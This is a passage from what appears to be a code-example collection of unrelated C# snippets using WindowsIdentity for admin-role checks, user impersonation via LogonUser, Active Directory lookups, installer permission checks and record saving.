            WindowsPrincipal principal = new WindowsPrincipal(WindowsIdentity.GetCurrent());

            return(principal.IsInRole(WindowsBuiltInRole.Administrator));
        }
Пример #27
0
        public async Task <IActionResult> Warnings()
        {
            var model = new List <SystemWarningModel>();

            //store URL
            var currentStoreUrl = _storeContext.CurrentStore.Url;

            if (!String.IsNullOrEmpty(currentStoreUrl) &&
                (currentStoreUrl.Equals(_webHelper.GetStoreLocation(false), StringComparison.OrdinalIgnoreCase)
                 ||
                 currentStoreUrl.Equals(_webHelper.GetStoreLocation(true), StringComparison.OrdinalIgnoreCase)
                ))
            {
                model.Add(new SystemWarningModel {
                    Level = SystemWarningLevel.Pass,
                    Text  = _localizationService.GetResource("Admin.System.Warnings.URL.Match")
                });
            }
            else
            {
                model.Add(new SystemWarningModel {
                    Level = SystemWarningLevel.Warning,
                    Text  = string.Format(_localizationService.GetResource("Admin.System.Warnings.URL.NoMatch"), currentStoreUrl, _webHelper.GetStoreLocation(false))
                });
            }


            //primary exchange rate currency
            var perCurrency = await _currencyService.GetCurrencyById(_currencySettings.PrimaryExchangeRateCurrencyId);

            if (perCurrency != null)
            {
                model.Add(new SystemWarningModel {
                    Level = SystemWarningLevel.Pass,
                    Text  = _localizationService.GetResource("Admin.System.Warnings.ExchangeCurrency.Set"),
                });
                if (perCurrency.Rate != 1)
                {
                    model.Add(new SystemWarningModel {
                        Level = SystemWarningLevel.Fail,
                        Text  = _localizationService.GetResource("Admin.System.Warnings.ExchangeCurrency.Rate1")
                    });
                }
            }
            else
            {
                model.Add(new SystemWarningModel {
                    Level = SystemWarningLevel.Fail,
                    Text  = _localizationService.GetResource("Admin.System.Warnings.ExchangeCurrency.NotSet")
                });
            }

            //primary store currency
            var pscCurrency = await _currencyService.GetCurrencyById(_currencySettings.PrimaryStoreCurrencyId);

            if (pscCurrency != null)
            {
                model.Add(new SystemWarningModel {
                    Level = SystemWarningLevel.Pass,
                    Text  = _localizationService.GetResource("Admin.System.Warnings.PrimaryCurrency.Set"),
                });
            }
            else
            {
                model.Add(new SystemWarningModel {
                    Level = SystemWarningLevel.Fail,
                    Text  = _localizationService.GetResource("Admin.System.Warnings.PrimaryCurrency.NotSet")
                });
            }


            //base measure weight
            var bWeight = await _measureService.GetMeasureWeightById(_measureSettings.BaseWeightId);

            if (bWeight != null)
            {
                model.Add(new SystemWarningModel {
                    Level = SystemWarningLevel.Pass,
                    Text  = _localizationService.GetResource("Admin.System.Warnings.DefaultWeight.Set"),
                });

                if (bWeight.Ratio != 1)
                {
                    model.Add(new SystemWarningModel {
                        Level = SystemWarningLevel.Fail,
                        Text  = _localizationService.GetResource("Admin.System.Warnings.DefaultWeight.Ratio1")
                    });
                }
            }
            else
            {
                model.Add(new SystemWarningModel {
                    Level = SystemWarningLevel.Fail,
                    Text  = _localizationService.GetResource("Admin.System.Warnings.DefaultWeight.NotSet")
                });
            }


            //base dimension weight
            var bDimension = await _measureService.GetMeasureDimensionById(_measureSettings.BaseDimensionId);

            if (bDimension != null)
            {
                model.Add(new SystemWarningModel {
                    Level = SystemWarningLevel.Pass,
                    Text  = _localizationService.GetResource("Admin.System.Warnings.DefaultDimension.Set"),
                });

                if (bDimension.Ratio != 1)
                {
                    model.Add(new SystemWarningModel {
                        Level = SystemWarningLevel.Fail,
                        Text  = _localizationService.GetResource("Admin.System.Warnings.DefaultDimension.Ratio1")
                    });
                }
            }
            else
            {
                model.Add(new SystemWarningModel {
                    Level = SystemWarningLevel.Fail,
                    Text  = _localizationService.GetResource("Admin.System.Warnings.DefaultDimension.NotSet")
                });
            }

            //shipping rate coputation methods
            var srcMethods = await _shippingService.LoadActiveShippingRateComputationMethods();

            if (srcMethods.Count == 0)
            {
                model.Add(new SystemWarningModel {
                    Level = SystemWarningLevel.Fail,
                    Text  = _localizationService.GetResource("Admin.System.Warnings.Shipping.NoComputationMethods")
                });
            }
            if (srcMethods.Count(x => x.ShippingRateComputationMethodType == ShippingRateComputationMethodType.Offline) > 1)
            {
                model.Add(new SystemWarningModel {
                    Level = SystemWarningLevel.Warning,
                    Text  = _localizationService.GetResource("Admin.System.Warnings.Shipping.OnlyOneOffline")
                });
            }

            //payment methods
            if ((await _paymentService.LoadActivePaymentMethods()).Any())
            {
                model.Add(new SystemWarningModel {
                    Level = SystemWarningLevel.Pass,
                    Text  = _localizationService.GetResource("Admin.System.Warnings.PaymentMethods.OK")
                });
            }
            else
            {
                model.Add(new SystemWarningModel {
                    Level = SystemWarningLevel.Fail,
                    Text  = _localizationService.GetResource("Admin.System.Warnings.PaymentMethods.NoActive")
                });
            }

            //incompatible plugins
            if (PluginManager.IncompatiblePlugins != null)
            {
                foreach (var pluginName in PluginManager.IncompatiblePlugins)
                {
                    model.Add(new SystemWarningModel {
                        Level = SystemWarningLevel.Warning,
                        Text  = string.Format(_localizationService.GetResource("Admin.System.Warnings.IncompatiblePlugin"), pluginName)
                    });
                }
            }

            //performance settings
            if (!_catalogSettings.IgnoreStoreLimitations && (await _storeService.GetAllStores()).Count == 1)
            {
                model.Add(new SystemWarningModel {
                    Level = SystemWarningLevel.Warning,
                    Text  = _localizationService.GetResource("Admin.System.Warnings.Performance.IgnoreStoreLimitations")
                });
            }
            if (!_catalogSettings.IgnoreAcl)
            {
                model.Add(new SystemWarningModel {
                    Level = SystemWarningLevel.Warning,
                    Text  = _localizationService.GetResource("Admin.System.Warnings.Performance.IgnoreAcl")
                });
            }

            //validate write permissions (the same procedure like during installation)
            var dirPermissionsOk = true;
            var dirsToCheck      = FilePermissionHelper.GetDirectoriesWrite();

            foreach (string dir in dirsToCheck)
            {
                if (!FilePermissionHelper.CheckPermissions(dir, false, true, true, false))
                {
                    model.Add(new SystemWarningModel {
                        Level = SystemWarningLevel.Warning,
                        Text  = string.Format(_localizationService.GetResource("Admin.System.Warnings.DirectoryPermission.Wrong"), WindowsIdentity.GetCurrent().Name, dir)
                    });
                    dirPermissionsOk = false;
                }
            }
            if (dirPermissionsOk)
            {
                model.Add(new SystemWarningModel {
                    Level = SystemWarningLevel.Pass,
                    Text  = _localizationService.GetResource("Admin.System.Warnings.DirectoryPermission.OK")
                });
            }

            var filePermissionsOk = true;
            var filesToCheck      = FilePermissionHelper.GetFilesWrite();

            foreach (string file in filesToCheck)
            {
                if (!FilePermissionHelper.CheckPermissions(file, false, true, true, true))
                {
                    model.Add(new SystemWarningModel {
                        Level = SystemWarningLevel.Warning,
                        Text  = string.Format(_localizationService.GetResource("Admin.System.Warnings.FilePermission.Wrong"), WindowsIdentity.GetCurrent().Name, file)
                    });
                    filePermissionsOk = false;
                }
            }
            if (filePermissionsOk)
            {
                model.Add(new SystemWarningModel {
                    Level = SystemWarningLevel.Pass,
                    Text  = _localizationService.GetResource("Admin.System.Warnings.FilePermission.OK")
                });
            }
            return(View(model));
        }
Пример #28
0
        /// <summary>
        /// ユーザ名・ドメイン・パスワードで偽装する。
        /// </summary>
        /// <param name="userName">ユーザ名</param>
        /// <param name="domain">ドメイン</param>
        /// <param name="password">パスワード</param>
        /// <param name="impersonationLevel">偽装レベル</param>
        /// <param name="errorInfo">エラー情報</param>
        /// <returns>
        /// ・true:成功
        /// ・false:失敗
        /// </returns>
        public bool ImpersonateValidUser(
            string userName, string domain, string password,
            SecurityWin32.SECURITY_IMPERSONATION_LEVEL impersonationLevel, out string errorInfo)
        {
            // エラー情報の初期化
            errorInfo = "";

            // ワーク
            WindowsIdentity tempWindowsIdentity;

            // トークンのハンドラ
            IntPtr token          = IntPtr.Zero;
            IntPtr tokenDuplicate = IntPtr.Zero;

            try
            {
                // クライアントアプリケーションによる偽装を終了。
                if (SecurityWin32.RevertToSelf())
                {
                    // RevertToSelf成功

                    // 偽装する。

                    // トークンハンドルを取得
                    if (SecurityWin32.LogonUserA(userName, domain, password,
                                                 LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, ref token) != 0)
                    {
                        // LogonUserA成功

                        // 偽装アクセストークンハンドルを作成
                        if (SecurityWin32.DuplicateToken(token, impersonationLevel, ref tokenDuplicate) != 0)
                        {
                            // DuplicateToken成功

                            // 偽装アクセストークンを使用して偽装する。
                            tempWindowsIdentity       = new WindowsIdentity(tokenDuplicate);
                            this.impersonationContext = tempWindowsIdentity.Impersonate();
                            if (this.impersonationContext != null)
                            {
                                // Impersonate成功
                                // 正常終了
                                return(true);
                            }
                            else
                            {
                                // Impersonate失敗
                                errorInfo = "Impersonate failed";
                            }
                        }
                        else
                        {
                            // DuplicateToken失敗
                            errorInfo = "DuplicateToken failed with " + Marshal.GetLastWin32Error();
                        }
                    }
                    else
                    {
                        // LogonUserA失敗
                        errorInfo = "LogonUserA failed with " + Marshal.GetLastWin32Error();
                    }
                }
                else
                {
                    // RevertToSelf失敗
                    errorInfo = "RevertToSelf failed with " + Marshal.GetLastWin32Error();
                }
            }
            finally
            {
                // 失敗(例外発生)時など。

                // トークンハンドル、
                // 偽装アクセストークンハンドルをクローズ
                if (token != IntPtr.Zero)
                {
                    CmnWin32.CloseHandle(token);
                }
                if (tokenDuplicate != IntPtr.Zero)
                {
                    CmnWin32.CloseHandle(tokenDuplicate);
                }
            }

            // 異常終了
            return(false);
        }
Пример #29
0
        public Task <IdentityData[]> Search(AliasesCriterion criterion)
        {
            if (criterion == null)
            {
                throw new GuardException("The criterion cannot be null");
            }
            if (criterion.Aliases == null)
            {
                throw new GuardException("The criterion names cannot be null");
            }
            if (criterion.Aliases.Empty())
            {
                throw new GuardException("The criterion names cannot be empty");
            }

            // ToDo: Encapsulate setup at construction level [DanD]

            // Setup
            var identity = WindowsIdentity.GetCurrent();
            var user     = identity.User;

            if (user == null)
            {
                throw new Exception("The user could not be retrieved from identity");
            }

            var context   = new PrincipalContext(ContextType.Domain);
            var principal = UserPrincipal.FindByIdentity(context, IdentityType.Sid, user.Value);

            if (principal == null)
            {
                throw new Exception("The principal could not be retrieved from identity");
            }

            var node = principal.GetUnderlyingObject() as DirectoryEntry;

            if (node == null)
            {
                throw new Exception("The underlying object for principal is not a directory entry");
            }

            while (node.SchemaClassName != "domainDNS")
            {
                node = node.Parent;
            }

            // Search
            var names = from name in criterion.Aliases
                        where !string.IsNullOrEmpty(name)
                        select $"(name={name})";
            var filter = $"(|{names.Collate()})";

            var attributes = new[]
            {
                "cn",
                "sn",
                "name",
                "givenname",
                "displayname",
                "mail",
                "company",
                "department",
                "description",
                "memberof",
                "department",
                "extensionattribute9",
                "extensionattribute10",
                "extensionattribute11",
                "physicaldeliveryofficename",
                "msexchuserculture",
                "physicaldeliveryofficename",
                "telephonenumber",
                "homedirectory",
            };

            var searcher = new DirectorySearcher(node, filter, attributes)
            {
                SearchScope = SearchScope.Subtree,
                Sort        = new SortOption("cn", SortDirection.Ascending),
            };
            var results = searcher.FindAll();

            // Projection
            var profiles = from result in results.OfType <SearchResult>()
                           select new IdentityData
            {
                AliasName        = result.Parse <string>("cn"),
                FirstName        = result.Parse <string>("givenname"),
                LastName         = result.Parse <string>("sn"),
                FullName         = result.Parse <string>("displayname"),
                EmailAddress     = result.Parse <string>("mail"),
                PhoneNumber      = result.Parse <string>("telephonenumber"),
                CompanyName      = result.Parse <string>("company"),
                OrganizationPath = result.Parse <string>("extensionattribute11"),
                DepartmentName   = result.Parse <string>("department"),
                FunctionName     = result.Parse <string>("extensionattribute9"),
                OfficeName       = result.Parse <string>("physicaldeliveryofficename"),
                ContractType     = result.Parse <string>("description"),
                CultureCode      = result.Parse <string>("msexchuserculture"),
                PicturePath      = result.Parse <string>("extensionattribute10"),
            };

            return(Task.FromResult(profiles.ToArray()));
        }
Пример #30
0
        public SharePointHighTrustContext(Uri spHostUrl, Uri spAppWebUrl, string spLanguage, string spClientTag, string spProductNumber, WindowsIdentity logonUserIdentity)
            : base(spHostUrl, spAppWebUrl, spLanguage, spClientTag, spProductNumber)
        {
            if (logonUserIdentity == null)
            {
                throw new ArgumentNullException("logonUserIdentity");
            }

            this.logonUserIdentity = logonUserIdentity;
        }
Пример #31
0
 public static bool IsRunningWithElevatedPrivileges()
 {
     return(new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator));
 }
Пример #32
0
 /// Initializes a new instance of the  class and
 /// impersonates with the specified credentials.
 /// his is the name of the user account to log on
 /// to. If you use the user principal name (UPN) format,
 /// user@DNS_domain_name, the lpszDomain parameter must be null .
 /// The name of the domain or server whose account 
 /// database contains the lpszUsername account. If this parameter is null,
 /// the user name must be specified in UPN format. If this parameter is ".",
 /// the function validates the account by using only the local account database.
 /// The plaintext password for the user account. 
 public Impersonation( String username, String domain, String password )
 {
     IntPtr userToken;
     IntPtr userTokenDuplication = IntPtr.Zero;
     // Logon with user and get token.
     bool loggedOn = LogonUser( username, domain, password, LogonType.Interactive, LogonProvider.Default, out userToken );
     if( loggedOn )
     {
         try
         {
             // Create a duplication of the usertoken, this is a solution
             // for the known bug that is published under KB article Q319615.
             if( DuplicateToken( userToken, 2, ref userTokenDuplication ) )
             {
                 // Create windows identity from the token and impersonate the user.
                 WindowsIdentity identity = new WindowsIdentity( userTokenDuplication );
                 _impersonationContext = identity.Impersonate();
             }
             else
             {
                 // Token duplication failed!
                 // Use the default ctor overload
                 // that will use Mashal.GetLastWin32Error();
                 // to create the exceptions details.
                 throw new Win32Exception();
             }
         }
         finally
         {
             // Close usertoken handle duplication when created.
             if( !userTokenDuplication.Equals( IntPtr.Zero ) )
             {
                 // Closes the handle of the user.
                 CloseHandle( userTokenDuplication );
             }
             // Close usertoken handle when created.
             if( !userToken.Equals( IntPtr.Zero ) )
             {
                 // Closes the handle of the user.
                 CloseHandle( userToken );
             }
         }
     }
     else
     {
         // Logon failed!
         // Use the default ctor overload that
         // will use Mashal.GetLastWin32Error();
         // to create the exceptions details.
         throw new Win32Exception();
     }
 }
Пример #33
0
        public ActionResult Index(InstallModel model)
        {
            if (DataSettingsHelper.DatabaseIsInstalled())
            {
                return(RedirectToRoute("HomePage"));
            }

            //set page timeout to 5 minutes
            this.Server.ScriptTimeout = 300;

            if (model.DatabaseConnectionString != null)
            {
                model.DatabaseConnectionString = model.DatabaseConnectionString.Trim();
            }

            //prepare language list
            foreach (var lang in _locService.GetAvailableLanguages())
            {
                model.AvailableLanguages.Add(new SelectListItem
                {
                    Value    = Url.Action("ChangeLanguage", "Install", new { language = lang.Code }),
                    Text     = lang.Name,
                    Selected = _locService.GetCurrentLanguage().Code == lang.Code,
                });
            }

            model.DisableSqlCompact       = _config.UseFastInstallationService;
            model.DisableSampleDataOption = _config.DisableSampleDataDuringInstallation;

            //SQL Server
            if (model.DataProvider.Equals("sqlserver", StringComparison.InvariantCultureIgnoreCase))
            {
                if (model.SqlConnectionInfo.Equals("sqlconnectioninfo_raw", StringComparison.InvariantCultureIgnoreCase))
                {
                    //raw connection string
                    if (string.IsNullOrEmpty(model.DatabaseConnectionString))
                    {
                        ModelState.AddModelError("", _locService.GetResource("ConnectionStringRequired"));
                    }

                    try
                    {
                        //try to create connection string
                        new SqlConnectionStringBuilder(model.DatabaseConnectionString);
                    }
                    catch
                    {
                        ModelState.AddModelError("", _locService.GetResource("ConnectionStringWrongFormat"));
                    }
                }
                else
                {
                    //values
                    if (string.IsNullOrEmpty(model.SqlServerName))
                    {
                        ModelState.AddModelError("", _locService.GetResource("SqlServerNameRequired"));
                    }
                    if (string.IsNullOrEmpty(model.SqlDatabaseName))
                    {
                        ModelState.AddModelError("", _locService.GetResource("DatabaseNameRequired"));
                    }

                    //authentication type
                    if (model.SqlAuthenticationType.Equals("sqlauthentication", StringComparison.InvariantCultureIgnoreCase))
                    {
                        //SQL authentication
                        if (string.IsNullOrEmpty(model.SqlServerUsername))
                        {
                            ModelState.AddModelError("", _locService.GetResource("SqlServerUsernameRequired"));
                        }
                        if (string.IsNullOrEmpty(model.SqlServerPassword))
                        {
                            ModelState.AddModelError("", _locService.GetResource("SqlServerPasswordRequired"));
                        }
                    }
                }
            }


            //Consider granting access rights to the resource to the ASP.NET request identity.
            //ASP.NET has a base process identity
            //(typically {MACHINE}\ASPNET on IIS 5 or Network Service on IIS 6 and IIS 7,
            //and the configured application pool identity on IIS 7.5) that is used if the application is not impersonating.
            //If the application is impersonating via <identity impersonate="true"/>,
            //the identity will be the anonymous user (typically IUSR_MACHINENAME) or the authenticated request user.
            var webHelper = EngineContext.Current.Resolve <IWebHelper>();
            //validate permissions
            var dirsToCheck = FilePermissionHelper.GetDirectoriesWrite(webHelper);

            foreach (string dir in dirsToCheck)
            {
                if (!FilePermissionHelper.CheckPermissions(dir, false, true, true, false))
                {
                    ModelState.AddModelError("", string.Format(_locService.GetResource("ConfigureDirectoryPermissions"), WindowsIdentity.GetCurrent().Name, dir));
                }
            }

            var filesToCheck = FilePermissionHelper.GetFilesWrite(webHelper);

            foreach (string file in filesToCheck)
            {
                if (!FilePermissionHelper.CheckPermissions(file, false, true, true, true))
                {
                    ModelState.AddModelError("", string.Format(_locService.GetResource("ConfigureFilePermissions"), WindowsIdentity.GetCurrent().Name, file));
                }
            }

            if (ModelState.IsValid)
            {
                var settingsManager = new DataSettingsManager();
                try
                {
                    string connectionString;
                    if (model.DataProvider.Equals("sqlserver", StringComparison.InvariantCultureIgnoreCase))
                    {
                        //SQL Server

                        if (model.SqlConnectionInfo.Equals("sqlconnectioninfo_raw", StringComparison.InvariantCultureIgnoreCase))
                        {
                            //raw connection string

                            //we know that MARS option is required when using Entity Framework
                            //let's ensure that it's specified
                            var sqlCsb = new SqlConnectionStringBuilder(model.DatabaseConnectionString);
                            if (this.UseMars)
                            {
                                sqlCsb.MultipleActiveResultSets = true;
                            }
                            connectionString = sqlCsb.ToString();
                        }
                        else
                        {
                            //values
                            connectionString = CreateConnectionString(model.SqlAuthenticationType == "windowsauthentication",
                                                                      model.SqlServerName, model.SqlDatabaseName,
                                                                      model.SqlServerUsername, model.SqlServerPassword);
                        }

                        if (model.SqlServerCreateDatabase)
                        {
                            if (!SqlServerDatabaseExists(connectionString))
                            {
                                //create database
                                var collation             = model.UseCustomCollation ? model.Collation : "";
                                var errorCreatingDatabase = CreateDatabase(connectionString, collation);
                                if (!String.IsNullOrEmpty(errorCreatingDatabase))
                                {
                                    throw new Exception(errorCreatingDatabase);
                                }

                                //Database cannot be created sometimes. Weird! Seems to be Entity Framework issue
                                //that's just wait 5 seconds (3 seconds is not enough for some reasons)
                                Thread.Sleep(5000);
                            }
                        }
                        else
                        {
                            //check whether database exists
                            if (!SqlServerDatabaseExists(connectionString))
                            {
                                throw new Exception(_locService.GetResource("DatabaseNotExists"));
                            }
                        }
                    }
                    else
                    {
                        //SQL CE
                        string databaseFileName = "Nop.Db.sdf";
                        string databasePath     = @"|DataDirectory|\" + databaseFileName;
                        connectionString = "Data Source=" + databasePath + ";Persist Security Info=False";

                        //drop database if exists
                        string databaseFullPath = HostingEnvironment.MapPath("~/App_Data/") + databaseFileName;
                        if (System.IO.File.Exists(databaseFullPath))
                        {
                            System.IO.File.Delete(databaseFullPath);
                        }
                    }

                    //save settings
                    var dataProvider = model.DataProvider;
                    var settings     = new DataSettings
                    {
                        DataProvider         = dataProvider,
                        DataConnectionString = connectionString
                    };
                    settingsManager.SaveSettings(settings);

                    //init data provider
                    var dataProviderInstance = EngineContext.Current.Resolve <BaseDataProviderManager>().LoadDataProvider();
                    dataProviderInstance.InitDatabase();


                    //now resolve installation service
                    var installationService = EngineContext.Current.Resolve <IInstallationService>();
                    installationService.InstallData(model.AdminEmail, model.AdminPassword, model.InstallSampleData);

                    //reset cache
                    DataSettingsHelper.ResetCache();

                    //install plugins
                    PluginManager.MarkAllPluginsAsUninstalled();
                    var pluginFinder = EngineContext.Current.Resolve <IPluginFinder>();
                    var plugins      = pluginFinder.GetPlugins <IPlugin>(LoadPluginsMode.All)
                                       .ToList()
                                       .OrderBy(x => x.PluginDescriptor.Group)
                                       .ThenBy(x => x.PluginDescriptor.DisplayOrder)
                                       .ToList();
                    var pluginsIgnoredDuringInstallation = String.IsNullOrEmpty(_config.PluginsIgnoredDuringInstallation) ?
                                                           new List <string>():
                                                           _config.PluginsIgnoredDuringInstallation
                                                           .Split(new [] { ',' }, StringSplitOptions.RemoveEmptyEntries)
                                                           .Select(x => x.Trim())
                                                           .ToList();
                    foreach (var plugin in plugins)
                    {
                        if (pluginsIgnoredDuringInstallation.Contains(plugin.PluginDescriptor.SystemName))
                        {
                            continue;
                        }
                        plugin.Install();
                    }

                    //register default permissions
                    //var permissionProviders = EngineContext.Current.Resolve<ITypeFinder>().FindClassesOfType<IPermissionProvider>();
                    var permissionProviders = new List <Type>();
                    permissionProviders.Add(typeof(StandardPermissionProvider));
                    foreach (var providerType in permissionProviders)
                    {
                        dynamic provider = Activator.CreateInstance(providerType);
                        EngineContext.Current.Resolve <IPermissionService>().InstallPermissions(provider);
                    }

                    //restart application
                    webHelper.RestartAppDomain();

                    //Redirect to home page
                    return(RedirectToRoute("HomePage"));
                }
                catch (Exception exception)
                {
                    //reset cache
                    DataSettingsHelper.ResetCache();

                    //clear provider settings if something got wrong
                    settingsManager.SaveSettings(new DataSettings
                    {
                        DataProvider         = null,
                        DataConnectionString = null
                    });

                    ModelState.AddModelError("", string.Format(_locService.GetResource("SetupFailed"), exception.Message));
                }
            }
            return(View(model));
        }
 // Constructors
 public WindowsPrincipal(WindowsIdentity ntIdentity)
 {
 }
Пример #35
0
        private void btnGrabar_Click(object sender, EventArgs e)
        {
            try
            {
                Cursor = Cursors.WaitCursor;
                if (!ValidarIngreso())
                {
                    DescansoMedicoBE objDescansoMedico    = new DescansoMedicoBE();
                    DescansoMedicoBL objBL_DescansoMedico = new DescansoMedicoBL();

                    objDescansoMedico.IdDescansoMedico     = IdDescansoMedico;
                    objDescansoMedico.IdEmpresa            = intIdEmpresa;
                    objDescansoMedico.IdUnidadMinera       = intIdUnidadMinera;
                    objDescansoMedico.IdArea               = intIdArea;
                    objDescansoMedico.Numero               = txtNumero.Text;
                    objDescansoMedico.IdPersona            = intIdPersona;
                    objDescansoMedico.IdTipoDescansoMedico = Convert.ToInt32(cboTipoDescansoMedico.EditValue);
                    objDescansoMedico.FechaIni             = Convert.ToDateTime(deFechaIni.DateTime.ToShortDateString());
                    objDescansoMedico.FechaFin             = Convert.ToDateTime(deFechaFin.DateTime.ToShortDateString());
                    objDescansoMedico.Mes                       = Convert.ToInt32(cboMes.EditValue);
                    objDescansoMedico.Dias                      = Convert.ToInt32(txtDias.EditValue);
                    objDescansoMedico.Horas                     = Convert.ToInt32(txtHoras.EditValue);
                    objDescansoMedico.Sueldo                    = Convert.ToDecimal(txtSueldo.EditValue);
                    objDescansoMedico.Kpi                       = Convert.ToDecimal(txtKpi.EditValue);
                    objDescansoMedico.IdContingencia            = Convert.ToInt32(cboContingencia.EditValue);
                    objDescansoMedico.Diagnostico               = txtDiagnostica.Text;
                    objDescansoMedico.CentroMedico              = txtCentroMedico.Text;
                    objDescansoMedico.IdCategoriaDiagnostico    = Convert.ToInt32(cboCategoriaDiagnostico.EditValue);
                    objDescansoMedico.IdCondicionDescansoMedico = Convert.ToInt32(cboCondicionDescansoMedico.EditValue);
                    objDescansoMedico.FlagEstado                = true; objDescansoMedico.IdCategoriaDiagnostico = Convert.ToInt32(cboCategoriaDiagnostico.EditValue);
                    objDescansoMedico.Usuario                   = Parametros.strUsuarioLogin;
                    objDescansoMedico.Maquina                   = WindowsIdentity.GetCurrent().Name.ToString();


                    if (pOperacion == Operacion.Nuevo)
                    {
                        int    intNumero = 0;
                        string strNumero = "";
                        intNumero      = objBL_DescansoMedico.Inserta(objDescansoMedico);
                        strNumero      = FuncionBase.AgregarCaracter(intNumero.ToString(), "0", 7);
                        txtNumero.Text = strNumero;

                        //ActualizaNumero
                        DescansoMedicoBL objBDescansoMedico = new DescansoMedicoBL();
                        objBDescansoMedico.ActualizaNumero(intNumero, txtNumero.Text);

                        XtraMessageBox.Show("Se creó el Descanso Médico N° : " + txtNumero.Text, this.Text, MessageBoxButtons.OK, MessageBoxIcon.Information);
                    }
                    else
                    {
                        objBL_DescansoMedico.Actualiza(objDescansoMedico);
                    }
                    this.Close();
                }
            }
            catch (Exception ex)
            {
                Cursor = Cursors.Default;
                XtraMessageBox.Show(ex.Message, this.Text, MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }
Пример #36
0
    public static void Main(string[] args)
    {
        SafeTokenHandle safeTokenHandle;
        try
        {
            string userName, domainName, password;
            // Get the user token for the specified user, domain, and password using the
            // unmanaged LogonUser method.
            // The local machine name can be used for the domain name to impersonate a user on this machine.
            Console.Write("Enter the name of the domain on which to log on: ");
            domainName = Console.ReadLine();

            Console.Write("Enter the login of a user on {0} that you wish to impersonate: ", domainName);
            userName = Console.ReadLine();

            Console.Write("Enter the password for {0}: ", userName);
            password = Console.ReadLine();

            const int LOGON32_PROVIDER_DEFAULT = 0;
            //This parameter causes LogonUser to create a primary token.
            const int LOGON32_LOGON_INTERACTIVE = 2;

            // Call LogonUser to obtain a handle to an access token.
            bool returnValue = LogonUser(userName, domainName, password,
                LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT,
                out safeTokenHandle);

            Console.WriteLine("LogonUser called.");

            if (false == returnValue)
            {
                int ret = Marshal.GetLastWin32Error();
                Console.WriteLine("LogonUser failed with error code : {0}", ret);
                throw new System.ComponentModel.Win32Exception(ret);
            }
            using (safeTokenHandle)
            {
                Console.WriteLine("Did LogonUser Succeed? " + (returnValue ? "Yes" : "No"));
                Console.WriteLine("Value of Windows NT token: " + safeTokenHandle);

                // Check the identity.
                Console.WriteLine("Before impersonation: "
                    + WindowsIdentity.GetCurrent().Name);
                // Use the token handle returned by LogonUser.
                using (WindowsIdentity newId = new WindowsIdentity(safeTokenHandle.DangerousGetHandle()))
                {
                    using (WindowsImpersonationContext impersonatedUser = newId.Impersonate())
                    {

                        // Check the identity.
                        Console.WriteLine("After impersonation: "
                            + WindowsIdentity.GetCurrent().Name);
                    }
                }
                // Releasing the context object stops the impersonation
                // Check the identity.
                Console.WriteLine("After closing the context: " + WindowsIdentity.GetCurrent().Name);
            }
        }
        catch (Exception ex)
        {
            Console.WriteLine("Exception occurred. " + ex.Message);
        }
    }
Пример #37
0
        private void sendFile(HttpContext context, string filePath)
        {
            ClaimsPrincipal currentClaims = ClaimsPrincipal.Current;
            Claim           userUpn       = currentClaims.Claims.FirstOrDefault(c => c.Type.ToString(CultureInfo.InvariantCulture) == ClaimTypes.Upn);

            if (userUpn != null)
            {
                try
                {
                    WindowsIdentity wi = new WindowsIdentity(userUpn.Value);
                    //Start impersonating
                    using (WindowsImpersonationContext wCtx = wi.Impersonate())
                    {
                        string fileUrl = makeFullFileUrl(filePath);
                        try
                        {
                            string   fileName = System.IO.Path.GetFileName(fileUrl);
                            FileInfo fileInfo = new FileInfo(fileUrl);
                            context.Response.Clear();
                            context.Response.ClearContent();
                            context.Response.ClearHeaders();
                            context.Response.BufferOutput = true;
                            context.Response.AddHeader("Content-Disposition", "attachment; filename=" + fileName);
                            // bypass the Open/Save/Cancel dialog
                            //Response.AddHeader("Content-Disposition", "inline; filename=" + doc.FileName);

                            context.Response.AddHeader("Content-Length", fileInfo.Length.ToString());
                            // Set the ContentType
                            context.Response.ContentType = System.Web.MimeMapping.GetMimeMapping(fileName);
                            context.Response.TransmitFile(fileUrl);
                        }
                        catch (System.UnauthorizedAccessException)
                        {
                            //The current user does not have rights, give them access denied
                            context.Response.Clear();
                            context.Response.ClearContent();
                            context.Response.ClearHeaders();
                            context.Response.StatusCode = 401;
                            context.Response.Write("Access denied. You do not have access to this file.");
                        }
                        catch
                        {
                            //Something happened trying to fetch the file
                            context.Response.Clear();
                            context.Response.ClearContent();
                            context.Response.ClearHeaders();
                            context.Response.StatusCode = 500;
                            context.Response.Write("An error occured trying to serve the file.");
                        }
                        finally
                        {
                            {
                                if (wCtx != null)
                                {
                                    wCtx.Undo();
                                }
                            }
                        }
                    }
                }
                catch (System.Security.SecurityException)
                {
                    //The current user is not a synced account, the UPN is invalid
                    context.Response.Clear();
                    context.Response.ClearContent();
                    context.Response.ClearHeaders();
                    context.Response.StatusCode = 401;
                    context.Response.Write("Access denied. Not a valid user.");
                }
            }
        }
Пример #38
0
 private static JsonWebTokenClaim[] GetClaimsWithWindowsIdentity(WindowsIdentity identity)
 {
     JsonWebTokenClaim[] claims = new JsonWebTokenClaim[]
         {
             new JsonWebTokenClaim(NameIdentifierClaimType, identity.User.Value.ToLower()),
             new JsonWebTokenClaim("nii", "urn:office:idp:activedirectory")
         };
         return claims;
 }
Пример #39
0
 public static string GetWindowsLogonName()
 {
     string[] winUserName = WindowsIdentity.GetCurrent().Name.Split('\\');
     return((winUserName.Length >= 2) ? winUserName[1] : (winUserName.Length <= 0) ? string.Empty : winUserName[0]);
 }
Пример #40
0
    /// <summary>
    /// The function checks whether the primary access token of the process belongs 
    /// to user account that is a member of the local Administrators group, even if 
    /// it currently is not elevated.
    /// </summary>
    /// <returns>
    /// Returns true if the primary access token of the process belongs to user 
    /// account that is a member of the local Administrators group. Returns false 
    /// if the token does not.
    /// </returns>
    /// <exception cref="System.ComponentModel.Win32Exception">
    /// When any native Windows API call fails, the function throws a Win32Exception 
    /// with the last error code.
    /// </exception>
    internal bool IsUserInAdminGroup()
    {
        bool fInAdminGroup = false;
        SafeTokenHandle hToken = null;
        SafeTokenHandle hTokenToCheck = null;
        IntPtr pElevationType = IntPtr.Zero;
        IntPtr pLinkedToken = IntPtr.Zero;
        int cbSize = 0;

        try
        {
            // Open the access token of the current process for query and duplicate.
            if (!NativeMethods.OpenProcessToken(Process.GetCurrentProcess().Handle,
                NativeMethods.TOKEN_QUERY | NativeMethods.TOKEN_DUPLICATE, out hToken))
            {
